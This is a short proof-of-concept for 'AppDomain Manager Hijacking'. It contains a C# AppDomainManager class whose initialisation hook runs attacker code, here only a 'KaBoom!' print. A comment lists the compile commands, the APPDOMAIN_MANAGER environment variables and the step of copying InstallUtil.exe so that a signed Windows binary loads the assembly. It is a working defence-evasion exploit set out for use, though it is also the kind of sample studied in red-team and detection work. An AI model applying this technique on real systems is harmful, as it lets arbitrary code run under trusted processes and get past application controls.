AppDomain Manager Hijacking

MyAppDomainManager.cs

using System;
using System.IO;
using System.Reflection;
using System.Runtime.Hosting;

public sealed class MyAppDomainManager : AppDomainManager
{
  
    public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
    {
		Console.WriteLine("KaBoom!");
        return;
    }
}

/*
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library MyAppDomainManager.cs
set APPDOMAIN_MANAGER_ASM=MyAppDomainManager, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager
copy C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
InstallUtil.exe

*/